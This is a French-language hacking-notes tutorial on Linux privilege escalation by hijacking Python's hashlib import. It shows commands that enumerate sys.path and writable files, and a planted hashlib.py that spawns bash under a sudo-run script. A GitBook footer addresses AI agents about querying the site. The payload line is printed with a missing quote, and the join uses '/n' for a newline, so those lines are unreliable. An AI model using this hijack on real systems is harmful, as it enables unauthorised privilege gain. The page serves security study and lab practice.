> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/privesc/python-library-hijacking/python-library-hijacking-hashlib-linux-privilege-escalation.md).

# Détournement de bibliothèque Python (hashlib) - Élévation de privilèges Linux

## Ce que c’est

Le détournement de bibliothèque Python abuse de la résolution des importations Python lorsqu'un script privilégié importe des modules depuis un emplacement inscriptible. En plaçant un module malveillant plus tôt dans le chemin d'importation, l'attaquant peut exécuter du code en tant qu'utilisateur privilégié. Cette page spécifique se concentre sur **Détournement de bibliothèque Python (hashlib)** et maintient le flux d’exploitation pratique : identifiez la condition, validez-la en toute sécurité, puis exécutez la charge utile minimale nécessaire pour prouver l’impact.

## Énumération

Commencez par confirmer le contexte local et la mauvaise configuration exacte avant d’exécuter la voie d’exploitation.

```bash
python3 -c "import sys; print('/n'.join(sys.path))"
find / -name '*.py' -writable 2>/dev/null
```

## Exemples

Alors que **utilisateur jordan**, nous voyons quelles sont les privilèges sudoers, nous essayons d'exécuter le **script Python** en tant que jordanmacia et cela fonctionne correctement :

<figure><img src="/files/5a79455f453f3fe990d6e1f94bbf9a6a6872489f" alt=""><figcaption></figcaption></figure>

Dans ce cas, nous avons **des permissions de lecture mais pas d'écriture**. Nous observons qu'il importe le **la variable hashlib**. Si nous faisons un **locate** avec le nom de la variable, nous verrons où elle est **stockée**. Enfin, nous observons que dans le **PATH de Python**, le premier est vide et c'est une vulnérabilité :

<figure><img src="/files/6ec47a06f9a6c413f400247cb1a9d8f77f5d0cbc" alt=""><figcaption></figcaption></figure>

Dans le même répertoire /tmp, nous créons le **fichier hashlib.py** avec le contenu suivant. Ce script, lorsque nous exécutons le script **example.py** en général, Python commence à rechercher ces bibliothèques dans le répertoire de travail courant, puis dans les chemins définis dans la **variable sys.path**.

```python
import os 
os.system("bash)
```

Enfin, en exécutant la **example.py**, cela nous donnera accès à Bash en tant qu'utilisateur jordanmacia (nous aurons **basculé vers un utilisateur** avec probablement plus de privilèges) :

<figure><img src="/files/a722051e79801ae1457b583d248107cfdd8ecd5a" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/privesc/python-library-hijacking/python-library-hijacking-hashlib-linux-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
